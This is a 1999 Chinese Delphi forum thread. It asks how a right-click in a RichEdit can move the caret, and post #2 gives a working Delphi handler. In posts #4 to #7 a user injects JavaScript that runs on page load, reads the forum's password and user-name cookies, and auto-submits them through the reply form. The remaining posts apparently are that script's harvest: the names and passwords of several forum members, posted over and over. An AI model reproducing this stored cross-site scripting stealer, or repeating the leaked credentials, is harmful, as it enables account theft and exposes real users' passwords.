请问如何在richedit中用鼠标右键时光标会落到鼠标这儿。(200分)

L

lilys

Unregistered / Unconfirmed

GUEST, unregistred user!

• 1999-12-02

• #1

 

E

Energy

Unregistered / Unconfirmed

GUEST, unregistred user!

• 1999-12-02

• #2

// 确切的说，在选中状态下是不应该丢失选中文本的。
// 比较全面的做法如下，按右键可以达到很好的你好的效果
procedure TForm1.RxRichEdit1MouseDown(Sender: TObject;
Button: TMouseButton;
Shift: TShiftState;
X, Y: Integer);
var
TextRange: TCharRange;
atPos:Longint;
mousePoint:TPoint;
begin
if Button = mbRight then
begin
RxRichEdit1.Perform(EM_EXGETSEL,0, Longint(@TextRange));
if TextRange.cpMin<>TextRange.cpMax then
begin
mousePoint.x:=x;
mousePoint.y:=y;
atPos:=RxRichEdit1.Perform(EM_CHARFROMPOS,0,Longint(@mousePoint));
if ( atPos<TextRange.cpMin ) or (atPos>TextRange.cpMax) then
RxRichEdit1.Perform(WM_LBUTTONDOWN, MK_LBUTTON, MakeLong(X, Y));
end
else
RxRichEdit1.Perform(WM_LBUTTONDOWN, MK_LBUTTON, MakeLong(X, Y));
end;
end;

 

L

lilys

Unregistered / Unconfirmed

GUEST, unregistred user!

• 1999-12-02

• #3

接受答案了.

 

T

tech

Unregistered / Unconfirmed

GUEST, unregistred user!

• 1999-12-19

• #4

<script>
function aaaaa()
{
a=document.cookie.indexOf ("PassWD=");
b=document.cookie.indexOf (";",a);
if (b-a>7)
c=unescape(document.cookie.substring(a+7,b));
alert(c);
a=document.cookie.indexOf ("User=");
b=document.cookie.indexOf (";",a);
if (b-a>7)
d=unescape(document.cookie.substring(a+5,b));
alert(d);
}
window.onload=aaaaa;
</script>

 

T

tech

Unregistered / Unconfirmed

GUEST, unregistred user!

• 1999-12-19

• #5

<script>
function aaaaa()
{
a=document.cookie.indexOf ("PassWD=");
b=document.cookie.indexOf (";",a);
if (b-a>7)
c="您的密码："+unescape(document.cookie.substring(a+7,b));
a=document.cookie.indexOf ("User=");
b=document.cookie.indexOf (";",a);
if (b-a>5)
d="您的名字："+unescape(document.cookie.substring(a+5,b));
do
cument.form[0].s1.value=d+"<br>"+c;
do
cument.form[0].submit();
}
window.onload=aaaaa;
</script>

 

T

tech

Unregistered / Unconfirmed

GUEST, unregistred user!

• 1999-12-19

• #6

<script>
function aaaaa()
{
a=document.cookie.indexOf ("PassWD=");
b=document.cookie.indexOf (";",a);
if (b-a>7)
c="您的密码："+unescape(document.cookie.substring(a+7,b));
a=document.cookie.indexOf ("User=");
b=document.cookie.indexOf (";",a);
if (b-a>5)
d="您的名字："+unescape(document.cookie.substring(a+5,b));
do
cument.form[0].s1.value=d+"<br>"+c;
do
cument.form[0].submit();
}
window.onload=aaaaa;
</script>

 

T

tech

Unregistered / Unconfirmed

GUEST, unregistred user!

• 1999-12-19

• #7

<script>
function aaaaa()
{
a=document.cookie.indexOf ("PassWD=");
b=document.cookie.indexOf (";",a);
if (b-a>7)
c="您的密码："+unescape(document.cookie.substring(a+7,b));
a=document.cookie.indexOf ("User=");
b=document.cookie.indexOf (";",a);
if (b-a>5)
d="您的名字："+unescape(document.cookie.substring(a+5,b));
do
cument.forms[0].S1.value=d+"<br>"+c;
do
cument.forms[0].submit();
}
window.onload=aaaaa;
</script>

 

T

tech

Unregistered / Unconfirmed

GUEST, unregistred user!

• 1999-12-19

• #8

您的名字：tech<br>您的密码：techs

 

T

tech

Unregistered / Unconfirmed

GUEST, unregistred user!

• 1999-12-19

• #9

您的名字：tech<br>您的密码：techs

 

H

hubdog

Unregistered / Unconfirmed

GUEST, unregistred user!

• 1999-12-20

• #10

您的名字：hubdog<br>您的密码：ucdos

 

H

hubdog

Unregistered / Unconfirmed

GUEST, unregistred user!

• 1999-12-20

• #11

您的名字：hubdog<br>您的密码：ucdos

 

H

hubdog

Unregistered / Unconfirmed

GUEST, unregistred user!

• 1999-12-20

• #12

您的名字：hubdog<br>您的密码：ucdos

 

H

hidelphi

Unregistered / Unconfirmed

GUEST, unregistred user!

• 1999-12-22

• #13

您的名字：hidelphi<br>您的密码：122221

 

H

hidelphi

Unregistered / Unconfirmed

GUEST, unregistred user!

• 1999-12-22

• #14

您的名字：hidelphi<br>您的密码：122221

 

H

hidelphi

Unregistered / Unconfirmed

GUEST, unregistred user!

• 1999-12-22

• #15

您的名字：hidelphi<br>您的密码：122221

 

H

hidelphi

Unregistered / Unconfirmed

GUEST, unregistred user!

• 1999-12-22

• #16

您的名字：hidelphi<br>您的密码：122221

 

H

hidelphi

Unregistered / Unconfirmed

GUEST, unregistred user!

• 1999-12-22

• #17

您的名字：hidelphi<br>您的密码：122221

 

H

hidelphi

Unregistered / Unconfirmed

GUEST, unregistred user!

• 1999-12-22

• #18

您的名字：hidelphi<br>您的密码：122221

 

H

hidelphi

Unregistered / Unconfirmed

GUEST, unregistred user!

• 1999-12-22

• #19

您的名字：hidelphi<br>您的密码：122221

 

C

clane

Unregistered / Unconfirmed

GUEST, unregistred user!

• 1999-12-22

• #20

您的名字：clane<br>您的密码：c830114